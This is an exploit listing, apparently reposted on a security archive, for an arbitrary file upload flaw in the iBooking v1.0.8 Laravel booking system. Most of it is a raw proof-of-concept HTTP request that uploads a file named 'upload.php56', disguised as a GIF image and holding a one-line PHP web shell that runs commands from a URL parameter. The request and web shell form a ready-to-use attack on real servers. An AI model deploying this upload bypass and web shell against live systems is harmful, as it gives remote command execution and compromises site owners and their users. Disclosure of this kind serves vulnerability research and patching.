iBooking v1.0.8 Exploit, Arbitrary File Upload

# Exploit Title: iBooking v1.0.8 - Arbitrary File Upload
# Exploit Author: d1z1n370/oPty
# Date: 01/11/2022
# Vendor Homepage: https://codecanyon.net/item/ibooking-laravel-booking-system/30362088
# Tested on: Linux
# Version: 1.0.8

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.

# PoC request

POST https://localhost/dashboard/upload-new-media HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost/dashboard/settings
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------115904534120015298741783774062
Content-Length: 449
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

Content-Disposition: form-data; name="_token"

Content-Disposition: form-data; name="is_modal"

Content-Disposition: form-data; name="file"; filename="upload.php56"
Content-Type: image/gif

<?php system($_GET['a']); phpinfo(); ?>

All rights reserved nPulse.net 2009 - 2023
Powered by: MVCP 2.0-RC / BVCP / ASPF-MILTER / PHP 7.4 / NGINX / FreeBSD